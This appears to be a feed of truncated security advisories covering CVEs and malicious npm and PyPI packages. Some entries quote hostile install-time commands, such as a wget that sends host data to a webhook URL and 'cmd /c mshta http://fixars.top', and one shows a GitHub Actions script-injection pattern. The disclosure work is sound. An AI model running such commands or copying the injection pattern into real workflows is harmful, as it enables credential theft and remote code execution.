PT-2026-57860

New CVE: CVE-2026-61706 in https://t.co/9nnkxgAVbP. Textbook GitHub Actions script injection. The action dropped the PR title straight into a bash step: PR TITLE="$ github.event.pull request.title "Name your PR $something and it runs on the runner. CVE appsec https://t.co/61YxitkMez...

PT-2026-59545

Summary The Flask API endpoint in src/praisonai/api.py renders agent output as HTML without effective sanitization. The sanitize html function relies on the nh3 library, which is not listed as a required or optional dependency in pyproject.toml. When nh3 is absent the default installation, the...

PT-2026-60098

Summary Two filter-bypass techniques in NukeVietCoreRequest::filterAttr and NukeVietCoreRequest::unhtmlentities allow a low-privileged user any account with news post permission to store and serve arbitrary JavaScript to any visitor of the affected page. Affected Component...

Wavlink WL-WN579X3-C Router Sub_40139C Function

The vulnerability of the sub40139C function in the /cgi-bin/firewall.cgi script of the Wavlink WL-WN579X3-C router’s microprogramming system is related to buffer overflow in the stack. Exploiting this vulnerability could allow an attacker to compromise the confidentiality, integrity, and...

Wavlink WL-NU516U1 USB Printer Command Execution

The vulnerability of the usbp910 function in the /cgi-bin/adm.cgi script of the Wavlink WL-NU516U1 wireless USB printer software is related to the lack of measures taken to clean data at the control level. Exploiting this vulnerability could allow an attacker to execute arbitrary commands remotel...

DIRAC: Pilot code downloaded over unverified HTTPS connection

The second stage pilot pilot.tar is downloaded by the initial wrapper script without any verification of the webservers' SSL certificate and the contained script is subsequently executed. The checksum is tested, but the reference checksum file is downloaded over the same unvalidated channel...

MAL-2026-10208 Malicious code in @meziizana/frontend-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a7d77255cb713e19b9560cc339e937518fdbfb49ab048d9d5a65ad81c1309a9a package.json declares a preinstall lifecycle script that runs wget against https://webhook.site/f164a383-b9e7-4379-b18c-38bf41a3c152/ with query...

Malicious code in @meziizana/frontend-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a7d77255cb713e19b9560cc339e937518fdbfb49ab048d9d5a65ad81c1309a9a package.json declares a preinstall lifecycle script that runs wget against https://webhook.site/f164a383-b9e7-4379-b18c-38bf41a3c152/ with query...

Malicious code in react-dom-v17 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f55f6e35ab09a2fcd6521dac51aa4baa4cfa726958bc266a0d56fc14de240a29 Package name impersonates the widely-used react-dom package react-dom-v17. package.json declares preinstall: node index.js, which fires automatically...

MAL-2026-10207 Malicious code in react-dom-v17 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f55f6e35ab09a2fcd6521dac51aa4baa4cfa726958bc266a0d56fc14de240a29 Package name impersonates the widely-used react-dom package react-dom-v17. package.json declares preinstall: node index.js, which fires automatically...

MAL-2026-10205 Malicious code in library-explorer (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 28b5db05b3bdfb9cc8b1af9759f05a3bc7a1b6a9c364b86831b93df78e9e2273 package.json declares preinstall: node index.js. On npm install, index.js collects installer host identity os.hostname, os.platform, os.arch,...

Malicious code in library-explorer (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 28b5db05b3bdfb9cc8b1af9759f05a3bc7a1b6a9c364b86831b93df78e9e2273 package.json declares preinstall: node index.js. On npm install, index.js collects installer host identity os.hostname, os.platform, os.arch,...

Malicious code in api-changelly (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a94f4aa368f1838507a78dde78062b740a5853b516d9d32782d0264b539b724c The package declares preinstall: node index.js, which runs automatically on npm install. index.js collects installer identifiers os.hostname,...

MAL-2026-10204 Malicious code in gptcore (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c36c51510f3762d03ab5bd7132de4a65a950f410cb5771a99d4fdc9334a9c895 [email protected] declares a preinstall lifecycle script that runs exec'cmd /c "mshta http://fixars.top"' in preinstall.js. On Windows, this fires...

Malicious code in gptcore (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c36c51510f3762d03ab5bd7132de4a65a950f410cb5771a99d4fdc9334a9c895 [email protected] declares a preinstall lifecycle script that runs exec'cmd /c "mshta http://fixars.top"' in preinstall.js. On Windows, this fires...

MAL-2026-10201 Malicious code in bugexploit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 745f81b0c53fa121939d4f71680783860795a394eb30308f6e7e2dcf29401c92 package.json declares a postinstall script that runs node index.js. On npm install, index.js collects the installer's username os.userInfo, hostname...

MAL-2026-10199 Malicious code in polymarket-kelly-math-stake (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f2cf5ba9cd75b1a773e3a04e6eb45778894e04fd1d55b2e8ad03ae97deb41d16 [email protected] runs a postinstall script scripts/install-check.cjs that fetches a JSON config from...

EUVD-2026-43236

LuCI versions fail to properly encode DHCPv6 lease hostnames before rendering in status tables, allowing adjacent network attackers to inject HTML markup. Attackers can send a DHCPv6 Client FQDN containing script tags that execute in the administrator's browser when viewing DHCP lease pages...

CVE-2026-61876

LuCI versions fail to properly encode DHCPv6 lease hostnames before rendering in status tables, allowing adjacent network attackers to inject HTML markup. Attackers can send a DHCPv6 Client FQDN containing script tags that execute in the administrator's browser when viewing DHCP lease pages...

Malicious code in jupiter-sdk (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f8e0901ca45da110106c60f288b0166fc51c348a44569d7e7ff22af3d19deafe On import jupitersdk, the package's top-level init.py fetches a payload over HTTPS from a public IPFS gateway...